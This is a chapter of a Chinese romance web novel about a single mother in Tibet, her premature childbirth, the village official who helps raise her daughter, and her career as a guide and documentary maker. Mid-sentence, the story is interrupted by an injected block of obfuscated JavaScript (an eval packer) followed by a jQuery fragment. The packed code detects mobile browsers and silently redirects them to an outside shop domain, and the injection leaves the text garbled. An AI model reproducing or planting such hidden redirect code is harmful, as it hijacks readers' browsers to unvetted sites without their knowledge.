深冬时节，万物进入沉睡状态。
藏地大多数植物的种子往往埋在肥厚的土壤下冬眠，它们暗暗储量蓄能，以待春来时，一朝突破土层，向上生长，迎接阳光的沐浴。
密闭温暖的空间散发着浓郁的醇香。
周夷从未在桑杰脸上见过如此严肃又深情的眼眸，刹那间，像被吸去了魂魄，思绪不受控制地朝着他的方向延伸。
桑杰向来大大咧咧，性格处事也像个小太阳，偶尔耍耍嘴皮子，但没有恶意。
虽说是个村官，又长得人高马大的，但周夷一直拿他当弟弟看待，并没有其他想法。
那双如太阳般灼热的眼不知何时生出了似水的柔情，紧紧不放。
餐桌上，他们面对面，过去学习藏语时，两人比现在的距离还要近，可周夷从来没有像现在这般局促。
她强迫自己冷静，再冷静。
或许是她理解错了，可不能又闹出笑话。
“我听说你连续三年被评为优秀村干部，那自然是受群众爱戴的。”
桑杰希冀的眸底闪过一丝失落，很快又换上平时那副嬉皮笑脸：“是我妈告诉你的吧？”
周夷见状暗暗松了口气，点点头。
上次做卡赛的时候，梅朵就跟她聊了许多关于桑杰的事。
“都说我些什么了？”
“说你小时候狂妄自大要学神农尝百草，结果生食了刚采挖的冬虫夏草，腹泻了两天，连床都下不来。还笑你学电视剧里比武招亲的姑娘，被女孩子表白，你就提出和对方比赛马，要赢了你才行，结果你是赢了比赛了，但输了爱情。”
桑杰听她口里说出他的往事，仿佛比自己亲历还要有趣，不自觉地被她的笑意带起嘴角。
“那你呢，你小时候有没有糗事？”
“我？”话题放松下来，周夷歪着脑袋想了想，“我小时候除了学习就是学习，没有童年可言。”
“那你会骑马吗？”
“骑过，只是被牵着走。”
周夷人生中大多数体验，第一次都是李竞给她的，包括马术。
那时她怕摔下来，李竞轻言细语哄了好久她才愿意一试。
“想学吗？”桑杰又问。
“一般吧。”周夷耸耸肩。
“你要是想学，等你孩子出生我可以教你，保准青出于蓝而胜于蓝。”
周夷长长地嗯了一声：“到时候再说吧。”
她没听出这话里深一层的意思，仅仅不想扫了他的兴致，只好潦草收尾。
*
过了春节，春天里密县还有点远，一般要到四月天气才逐渐上来。
藏地尤为重视藏历四月，也成为萨噶月，佛祖释迦牟尼的诞生、成道和涅槃这三大重要事件都发生于此，周夷的预产期也在这个时候。
周夷身材素来纤细苗条，又穿着厚厚的冬衣，肚子到了七个月的时候才开始显眼。
在家养胎的日子里，她鲜少出门，除了背单词，她还报考了博物研学以及向导的相关证书，成绩要到六月才出。
气温逐步上升，帕隆藏布江上的冰也开始融化。
开了春，周末，桑杰和同事约了过林卡，问周夷要不要一起去。
桑杰的同事，周夷在刚来那会给他做义工时基本都认识。
自从上次桑杰在她家吃饭后，除了藏语上的问题，周夷尽量减少麻烦他的次数，生怕错误的氛围再一次出现。
这段时间发生的事情太多了，一桩接着一桩，像一下子被人塞了满满一胃的食物，还没来得及消化，嘴巴又被填满了。
她现在只想好好生活，其他什么都不想想，不好耽误别人，桑杰是聪明人，她不回复，他自然就明白她的意思。
成年人的世界，没有回答就等于拒绝。
见她没有回复，桑杰也没追问，只是眼底闪过些许落寞，已经数不清她拒绝了多少次，从最开始提出陪她产检到后来他连她考证的事情都不知道，他不是傻子，怎么会看不出来她拒绝的不是事。
是人。
几个月来，除了节日母亲请她来家里吃饭，还有桑启生产，两人再没单独见过一次面。
他以为那天他掩饰得很好，话题转得恰到好处，她看起来也没往心里去，没想到还是被她瞧了出来。
现在好了，连朋友都做不了了。
他的情绪降到了低谷，站在原地对着手机伤神，直到远方有人高喊他的名字才收起惆怅的目光。
春风拂过江面，冰层渐渐消退，树梢挂了几抹俏绿，但草地上仍是枯黄一片，要想生机勃勃，还需得一点时间。
太阳绕了数十个圈终于踏入萨噶月。
从四月初到四月底，藏地都在过萨噶达瓦节，转经朝圣、诵经祈福，各种民俗活动轮番进行。
四月初五，正好是母亲节。
一大早，密县不少人前去河畔放生，原本寂静的村庄变得熙熙攘攘。
天色朦胧，鼎沸的人声吵醒了酣睡的周夷，她翻了个身，却难以入眠，干脆起床洗漱。
就是这个决定，让产期提前了十天。
卫生间瓷砖湿漉，她一个不留神，脚底打滑，摔倒在地，紧接着腹部传来剧烈的痛感。
一股暖湿的液体从下半身流出。
她清晰地意识到羊水破了，还掺了血丝。
周夷额间冒出细细密密的汗珠，瞬间打湿了鬓边的绒发，她想扶着洗手台站起来，可她越使劲，肚子收缩得越密集。
羊水断断续续还在往外渗，周夷体会到周佳媚当年生她的痛苦，她咬着牙忍着痛，环视了一圈空无一人的房间。
暗道，她不能坐以待毙。
她调整好身体，一点一点往外挪，手机就放在客厅了餐桌上。
她用最后一丝力气拨打了120，说清楚地址信息后，便没了力气昏死了过去。
等她再次醒来，已经是三天后的事。
周夷感觉身体轻飘飘的，喉咙像一片干枯龟裂的田，她想喝水，可全身的骨头都想错位了一样，完全使不上力。
“水、水……”
气若游丝的声音惊起趴在床畔的人。
桑杰像装了弹簧坐直了身，“你醒了！”
他又惊又喜地往前探，听清她的话，像呵护珍宝般扶她坐起来。
尽管桑杰动作再温柔，周夷还是感受到腹部撕裂的痛，肚子上幅度稍缓，取而代之的是生痛的刀口。
桑杰把温水递来她的唇边。
“是不是有那里不舒服，需要叫医生吗？”
周夷轻轻摇了摇头，她悠悠地看了看周围问：“孩子呢？”
“在婴儿室，五斤一两，是个女孩。”
桑杰笑着，脸上难掩疲态，唇部四周长了一圈乌黑乌黑的胡茬。
周夷瞥了一眼墙上的电子钟，心里泛起一阵酸涩。
“你这几天都在这儿？”
那天，桑杰一早和家人一起在河畔放生，结束往回走时远远瞧见一辆救护车往村子驶去。
他立即感到不妙，拔腿就跑。
那辆救护车就停在周夷家门口，屋内无人应门，医生们进不去，桑杰果断冲了上去，开门的刹那，他和医生们都惊了。
周夷躺在客厅中央，小腿血渍一直延伸到卫生间。
她昏死了过去，无法顺产，也无法为自己签字做手术。
桑杰力揽全责，替她签了这个字。
孩子并无大碍，但周夷术后有大出血的风险，在ICU观察了一天一夜才被送出来。
周夷听着自己昏死后发生的事情，全然没察觉自己已经从鬼门关走了一趟，也没想到自己和周佳媚一样，都因为生育住进ICU。
“麻烦你为我们母女操心了。”
周夷昏迷了几天，孩子的吃穿肯定也是他在费神，她又欠他了，还是过命的人情。
“我不觉得麻烦。”桑杰指了指自己胸前的徽章，正色道，“这是我应该做的，你不用觉得不好意思。”
周夷有气无力地笑了笑，“我是不知道拿什么报答你。”
桑杰被她的笑容感染，眸底泛起一阵柔和的光。
“我不需要别的，只要你还拿我当朋友就好。”
出院后，周夷坐了近两个月的月子，有月嫂照顾孩子，外加桑杰和他妈妈经常来帮她，她的身体渐渐恢复到产前状态。
月嫂离开前的半个月，周夷就开始在网上了解保姆的相关事宜。
她并不打算全职带孩子，以她的条件最好的解决方案就是找个人来，可找一个责任心强的保姆并不容易。
还在孕期时，周夷看了不少保姆虐童的新闻，就更加坚定严格考核保姆人选的想法。
她制定了一系列标准，然而要求多了，别人一看也不愿意来。她一开始还没意识到这点，还是梅朵提醒她。
眼看月嫂还有不到一周的时间就要离开，周夷更犯难了，两头不到岸。
“你要是放心，我妈可以帮你。”桑杰提议，“虽然她没什么育儿嫂的证书，但她之前也给我姐带过孩子，也算有经验。”
“不行。”周夷想也没想拒绝，“孩子还这么小，太麻烦她了。”
“她不觉得麻烦，你没看她这几天老是跑你这来看孩子吗，她可喜欢了。”
“真的？那阿姨怎么不直接跟我说？”
“她不是见你要求多嘛，怕你不同意这才没开口。”
“那些要求，是给不知根知底的人准备的，阿姨对我这么我，她要是愿意帮我，我怎么会不同意。”
“那就这么说定了，等月嫂离开后，小沫沫就送到我家去，让我妈来带。”
周沫，是周夷给婴儿床上不到两个月的娃娃取的名字，因为是周夷踩了泡沫滑倒她才提前生出来，所以取名叫沫。
“等等！”周夷正色道，“我不能白让阿姨帮我这个忙。”
“我会以市场价给阿姨出工资，如果阿姨在这方面有要求的话也可以跟我提，她只需要白天带孩子就好，晚上我自己带。”
桑杰没想着要收她钱，耐不住周夷坚持，只能按她说的来办。
周沫的问题暂且解决，周夷出了月子后，孕期考的证书也出成绩了，她一举拿下研学导师和自然向导的证书，逐步恢复工作。
年前替桑杰同学招待领导的事带来长尾效应，他们介绍了不少大城市的优质客源，春夏之间，藏地景色最宜人，周夷这种私人订制含外语训练的自然向导在当地极其稀少，单子一下子排到了秋季。
日子在忙碌与充实间悄然流逝。
周沫在一天天长大，周夷也从一个新手村妈妈渐渐成长为通关无数育儿副本的资深玩家。
疫情开放后，藏地独特绚烂的风光吸引了不少久居城市的游客，同样也引来了不少综艺团队前来拍摄。
年前她做了一番总结，给高资家庭做私人向导过于单一，决定扩展业务范围，她目光瞧准了综艺顾问，趁着冬季万物蛰伏之际，一头扎入博物界的海洋。
她专业不对口，只能积累经验一步一步往上走，从小节目到大节目，用过硬的经验和学识渐渐做出了自己的口碑。
周沫两岁的时候，周夷在朋友圈看到记录电影的招募信息，机缘巧合之下，她和以前认识的摄影师一起合作完成一小辑小镇生活纪录片。
这部纪录片并没有上电视，但在网上引起了不小的反响，让更多人认识到密县这个小地方，节假日的时候，旅游人数也多了起来，村民们也因此拓宽了收入渠道。
不仅如此，周夷还在拍摄的过程中找到了一种从来没有体验过的乐趣。
——一种剧本写不出来的“发现”惊喜。
尤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752680|206565||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
其是拍摄人物纪录片的时候，长期的跟拍会让人走入另一个人的生活，而拍摄者也有机会体验完全不一样的人生。
周夷想。
这大概是她的下一个发展方向。
只是以她现在的情况，周沫还小，她还不能长时间离开她。
“我还以为你在担心什么呢。”桑杰坐在沙发上，开了盒牦牛酸奶给大腿上的周沫蒯着吃。
“你想去就去，小沫沫可以在我家住，你不用担心。”
“别再用你那招先斩后奏。”周夷弯腰也从茶几上拿过一盒，小口地吃着。
“我现在脑子里除了事业还是事业，你不用在我身上费心思。”
当初他说梅朵愿意帮她带孩子，其实根本就没这回事，是这小子替她做的主，要不是梅朵过年时说漏了嘴，周夷都不知道这两年桑杰的牺牲。
他本就受领导赏识，年初时有机会跳到更大的平台发展，但为了方便回家照顾周沫，他选择留在这个小村庄，做一个小小的文书。
他什么心思，她猜都能猜出来了。
“我留下也不全是因为沫沫，我当初大学毕业选择回来就是为了发展自己家乡，我要是离开了，那岂不是违背初心。”
桑杰避重就轻地绕开话题，生怕两人的关系再次降到冰点。
“再说了，还有一年，沫沫就要上幼儿园，你也不希望她被同学笑话她是一个没有爸爸的孩子吧。”
周夷手里的勺子顿了顿，抬眸放空，说话的语气透着满腔的无所谓。
“她爸死了，不行吗？”
“所以我才要多照顾她呀。”桑杰一本正经说，“放心，有我在，保证她不会被人欺负。”
这绕来绕去不还是要麻烦他嘛，她本就觉得欠他的难以还清，这样一来心理负担就更重了。
“你不用想着怎么报答我，这都是我应该做的的。”
相处了好些年，桑杰早已摸清她的品性。
“你现在做的事也是在为我的家乡做宣传和贡献，我必须为你扫清后顾之忧，你才能放手去做不是，你就别多想了，想做什么就大胆地去做。”
周夷对上他坚定的眸光，突然有一种被人全心全意支持的感觉，而这个人与她没有任何血缘关系，更不要她任何回报。
从前，她以为像李竞那样无条件包容她的人不会再出现第二个，就算再有也会是像他那样，不过是包着糖衣的砒霜。
以至于当真正的纯净无暇的光出现在眼前时，她第一反应是回避、否定和选择性忽视。
真应了那句。
——一朝被蛇咬，十年怕井绳。
周沫转着圆圆的大眼睛，看看这儿看看哪儿，不知道这两位大人叽里咕噜在说些什么，只知道手里的酸奶吃完了，她还想再吃，伸着肉感十足的小胖手却始终也够不到。
“说好了一天只吃一个！”桑杰摆出一副严肃脸，试图吓退她肚子里贪吃的蛔虫。
美味当前，周沫软硬不吃，圆乎乎的小脸蛋说委屈就委屈。
“爸爸，拿拿。”
桑杰和周夷都惊了。
“你叫我什么？”
周沫小嘴一嘟，软萌软萌的语气张嘴就来：“爸爸。”
不等周夷纠正，桑杰兴高采烈地欸了一声，欢天喜地地给她开了一盒。
“这孩子管我叫爸！”他激动地看向周夷。
周夷也懵了，很快又调整回来。
“这可是只小机灵鬼，有奶便是娘，你别往心里去。”
“我就要往心里去。”桑杰咧出两排洁白的牙，得意洋洋。
“她叫我一声爸，那我就是她爸，我一定把她当亲闺女对待。”
“不，不对，她就是我的亲闺女。你就放心去发展你的事业吧。”
全程，周夷插不上一句话。
眼睁睁地看着他一步步自我沦陷，无法自拔。
他们这对刚成立的父女组合双向奔赴了，周夷要是不同意，硬生生把他们拆散的话，就显得里外不是人。
干脆由他们闹去。
密县的秋天很短，和港岛差不多，约等于无，转眼就入冬。
周夷已经收拾好行李，和小团队一起前往日喀则，他们打算拍一部关于喜马拉雅山脉植物的纪录片。
临行前叮嘱了周沫要乖乖听话。
小家伙很懂事，亲了亲周夷的脸颊，没哭没闹。
周夷十月离开，预计年前能回来。
然而，记录片有意思的点就在于，拍摄者永远都不知道下一秒会发生什么。
为了拍摄一个完美的镜头，往往要经历数天甚至几十天的等待，有时还未必能等来想要的结果。
精益求精的背后往往是归期一拖再拖。
周沫每次想妈妈的时候，桑杰都会询问她是否有空，每隔三两日，他们便会视频聊上一阵子。
这样的模式一直维持到来年四月。
时针踏入零点，月历与日历一起跳动。
桑杰从周沫房间里退出来。
这小家伙年纪虽小，胆子却大，还不到三岁就敢提自己一个人睡。
桑杰不放心，视频聊天的时候跟周夷说了这事，她反而支持周沫的想法。
她相信培养孩子的勇气和独立性越早越好。
尽管如此，桑杰夜里还要起一两次去看看小家伙有没有老老实实盖好被子。
如今夜已深，漆黑的窗外下起零星雪花
密县的四月，春雪频繁。
天气预报说这是一场大雪。
寒风穿过门缝，带来一阵急促的敲门声。
桑杰收拢外衣，加快回房的脚步顿了顿，转身来到门前。
大雪冻住了合页，发出清脆的吱呀声。
看清来人，桑杰脸上爬上惊色。
“我不是在做梦吧？”